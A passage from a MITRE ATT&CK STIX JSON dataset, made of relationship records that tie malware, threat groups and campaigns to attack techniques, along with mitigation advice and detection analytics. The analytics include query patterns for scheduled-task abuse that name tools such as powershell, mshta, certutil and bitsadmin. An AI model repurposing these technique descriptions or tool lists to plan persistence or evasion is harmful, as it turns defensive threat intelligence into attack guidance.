2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-20T19:08:15.800Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can attempt to overload sandbox analysis by sending 1550 calls to printf.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d6675b8-b588-4164-8caa-3a4e2c023caa","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Changes to binaries that do not line up with application updates or patches are also extremely suspicious.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade","created":"2017-05-31T21:33:27.043Z","x_mitre_version":"1.0","external_references":[{"source_name":"Symantec Black Vine","url":"https://web.archive.org/web/20170823094836/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf","description":"DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Deep Panda](https://attack.mitre.org/groups/G0009) has updated and modified its malware, resulting in different hash values that evade detection.(Citation: Symantec Black Vine)","modified":"2022-07-20T20:09:46.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d6a3a5b-58c2-4dab-8710-fe7e6b893f98","type":"relationship","created":"2019-01-30T16:39:54.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.809Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) uses a secret key with a series of XOR and addition operations to encrypt C2 traffic.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d7080b8-a3e0-4122-b0c9-c1d9c2ba6890","created":"2022-09-26T14:31:27.291Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T14:31:27.291Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can connect to HTTP proxies via TCP to create a tunnel to C2.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d76c9e2-bef1-4b2c-8199-a9a454cf1168","type":"relationship","created":"2020-03-11T14:13:43.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project","description":"OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.","source_name":"OWASP Top 10"}],"modified":"2020-07-14T22:22:06.474Z","description":"Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well.(Citation: OWASP Top 10)","relationship_type":"mitigates","source_ref":"course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266","target_ref":"attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d7a9d82-1400-42bd-982a-3e0e4d9396fa","type":"relationship","created":"2020-01-31T19:01:42.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T19:01:42.172Z","relationship_type":"revoked-by","source_ref":"attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d7add6f-ebd5-477f-9958-a5176835da2e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-19T22:38:12.985Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) collects user credentials, including passwords, for various programs including popular instant messaging applications and email clients as well as WLAN keys.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d7e8d98-9894-4dfa-9013-af8d83e6faea","type":"relationship","created":"2019-01-29T18:44:04.939Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html","source_name":"Fortinet Agent Tesla April 2018"},{"source_name":"Malwarebytes Agent Tesla April 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}],"modified":"2020-05-28T23:41:03.778Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has had its code obfuscated in an apparent attempt to make analysis difficult.(Citation: Fortinet Agent Tesla April 2018) [Agent Tesla](https://attack.mitre.org/software/S0331) has used the Rijndael symmetric encryption algorithm to encrypt strings.(Citation: Malwarebytes Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d7faa7b-2fd2-4c40-89c2-e8171055733c","created":"2022-09-27T18:03:32.973Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:03:32.973Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors created services on remote systems for execution purposes.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"},{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"},{"url":"https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf","description":"Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.","source_name":"evolution of pirpi"}],"modified":"2019-04-29T18:01:20.478Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate current network connections.(Citation: Symantec Buckeye)(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d880164-0891-4721-b393-7e3a3bcc0fd9","type":"relationship","created":"2019-03-25T20:04:10.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2020-02-18T03:50:33.687Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to clear the System and Security event logs using wevtutil.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d8cabd5-3985-42a1-9457-047858ff340f","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Twitter Leoloobeek Scheduled Task","description":"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.","url":"https://x.com/leoloobeek/status/939248813465853953"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:41:53.041Z","description":"Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Look for instances of schtasks.exe running as processes. The command_line field is necessary to disambiguate between types of schtasks commands. These include the flags /create , /run, /query, /delete, /change, and /end.\n\nDetection of the creation or modification of Scheduled Tasks with a suspicious script, extension or user writable path. Attackers may create or modify Scheduled Tasks for the persistent execution of malicious code. This detection focuses at the same time on EventIDs 4688 and 1 with process creation (SCHTASKS) and EventID 4698, 4702 for Scheduled Task creation/modification event log.\n\nAnalytic 1 - New processes whose parent processes are svchost.exe or taskeng.exe\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND (ParentImage=\"*svchost.exe*\" OR ParentImage=\"*taskeng.exe*\")\n\nAnalytic 2 - Scheduled Task Creation or Modification Containing Suspicious Scripts, Extensions or User Writable Paths\n\n(\n\t\t(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") \n\t\tOR \n\t\t(source=\"*WinEventLog:Security\" EventCode=\"4688\") \n\t\tCommandLine=\"*SCHTASKS*\" \n\t\t(CommandLine=\"*/CREATE*\" OR CommandLine=\"*/CHANGE*\")\n\t) \n\t(\n\t\t(\n\t\t\tCommandLine=\"*.cmd*\" OR \n\t\t\tCommandLine=\"*.ps1*\" OR \n\t\t\tCommandLine=\"*.vbs*\" OR \n\t\t\tCommandLine=\"*.py*\" OR \n\t\t\tCommandLine=\"*.js*\" OR \n\t\t\tCommandLine=\"*.exe*\" OR \n\t\t\tCommandLine=\"*.bat*\"\n\t\t) OR \n\t\t(\n\t\t\tCommandLine=\"*javascript*\" OR \n\t\t\tCommandLine=\"*powershell*\" OR \n\t\t\tCommandLine=\"*wmic*\" OR \n\t\t\tCommandLine=\"*rundll32*\" OR \n\t\t\tCommandLine=\"*cmd*\" OR \n\t\t\tCommandLine=\"*cscript*\" OR \n\t\t\tCommandLine=\"*wscript*\" OR \n\t\t\tCommandLine=\"*regsvr32*\" OR \n\t\t\tCommandLine=\"*mshta*\" OR \n\t\t\tCommandLine=\"*bitsadmin*\" OR \n\t\t\tCommandLine=\"*certutil*\" OR \n\t\t\tCommandLine=\"*msiexec*\" OR \n\t\t\tCommandLine=\"*javaw*\"\n\t\t) OR \n\t\t(\n\t\t\tCommandLine=\"*%APPDATA%*\" OR \n\t\t\tCommandLine=\"*\\\\AppData\\\\Roaming*\" OR \n\t\t\tCommandLine=\"*%PUBLIC%*\" OR \n\t\t\tCommandLine=\"*C:\\\\Users\\\\Public*\" OR \n\t\t\tCommandLine=\"*%ProgramData%*\" OR \n\t\t\tCommandLine=\"*C:\\\\ProgramData*\" OR \n\t\t\tCommandLine=\"*%TEMP%*\" OR \n\t\t\tCommandLine=\"*\\\\AppData\\\\Local\\\\Temp*\" OR \n\t\t\tCommandLine=\"*\\\\Windows\\\\PLA\\\\System*\" OR \n\t\t\tCommandLine=\"*\\\\tasks*\" OR \n\t\t\tCommandLine=\"*\\\\Registration\\\\CRMLog*\" OR \n\t\t\tCommandLine=\"*\\\\FxsTmp*\" OR \n\t\t\tCommandLine=\"*\\\\spool\\\\drivers\\\\color*\" OR \n\t\t\tCommandLine=\"*\\\\tracing*\"\n\t\t)\n\t)","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d8df710-e1a4-4069-afef-2e8e63ed6587","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub PowerSploit May 2012","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","url":"https://github.com/PowerShellMafia/PowerSploit"},{"source_name":"PowerSploit Documentation","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","url":"http://powersploit.readthedocs.io"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:13:21.453Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of ScriptModification modules that compress and encode scripts and payloads.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d8fd7fc-eb0b-4031-8df0-ef3d237edb7c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.935Z","description":"[Pupy](https://attack.mitre.org/software/S0192) has built in commands to identify a host’s IP address and find out other network configuration settings by viewing connected sessions.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-16T17:02:26.253Z","description":"[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given process name in processes currently running in the system.(Citation: Zscaler Kasidet)","relationship_type":"uses","source_ref":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d924a19-affe-4c1b-9622-ad140f334a39","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d98988c-bac6-48da-9bc8-6e4375317fd4","created":"2022-04-01T13:08:55.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes RBAC","description":"Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/concepts/security/rbac-good-practices/"},{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.204Z","description":"Enforce authentication and role-based access control on the container service to restrict users to the least privileges required.(Citation: Kubernetes Hardening Guide) When using Kubernetes, avoid giving users wildcard permissions or adding users to the `system:masters` group, and use `RoleBindings` rather than `ClusterRoleBindings` to limit user privileges to specific namespaces.(Citation: Kubernetes RBAC)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d9aa029-03d5-434e-889d-79fd36b8e093","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d9acf03-bd3e-458b-bcea-6d1b57674072","created":"2023-09-27T14:41:38.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T16:26:18.551Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), vba_macro.exe deletes itself after `FONTCACHE.DAT`, `rundll32.exe`, and the associated .lnk file is delivered. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d9b9464-1ade-45e9-9d7b-1c4c967abd81","type":"relationship","created":"2019-01-30T19:50:46.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.552Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) can collect the current timestamp of the victim's machine.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6","type":"relationship","created":"2017-05-31T21:33:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2020-03-17T23:03:02.717Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command to rename one of their tools to a benign file name: ren \"%temp%\\upload\" audiodg.exe(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4dab06d8-9be7-4c61-b16a-82b0c2607d70","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:44:32.956Z","description":"Monitor for newly constructed processes and/or command-lines that aid in compression or encrypting data that is collected prior to exfiltration, such as 7-Zip, WinRAR, and WinZip. Before [Exfiltration](https://attack.mitre.org/tactics/TA0010) that an adversary has [Collection](https://attack.mitre.org/tactics/TA0009), it is very likely that a [Archive Collected Data](https://attack.mitre.org/techniques/T1560) will be created, so that transfer times are minimized and fewer files are transmitted. There is variety between the tools used to compress data, but the command line usage and context of archiving tools, such as ZIP, RAR, and 7ZIP, should be monitored.\nIn addition to looking for RAR or 7z program names, command line usage of 7Zip or RAR can be detected with the flag usage of “\\* a \\*”. This is helpful, as adversaries may change program names.\n\nNote: This analytic looks for the command line argument a, which is used by RAR. However, there may be other programs that have this as a legitimate argument and may need to be filtered out.\n\nAnalytic 1 - Command Line Usage of Archiving Software\n\n (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") CommandLine=\"* a *\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4dab3ea7-8907-4376-9d17-2b9fa43acaa9","created":"2022-03-30T14:26:51.854Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected network share access, such as files transferred between shares within a network using protocols such as SMB.","modified":"2022-04-14T16:32:08.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4db08a6d-ecbb-4a70-b0e5-9dac4dfb1517","created":"2024-05-17T13:28:51.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 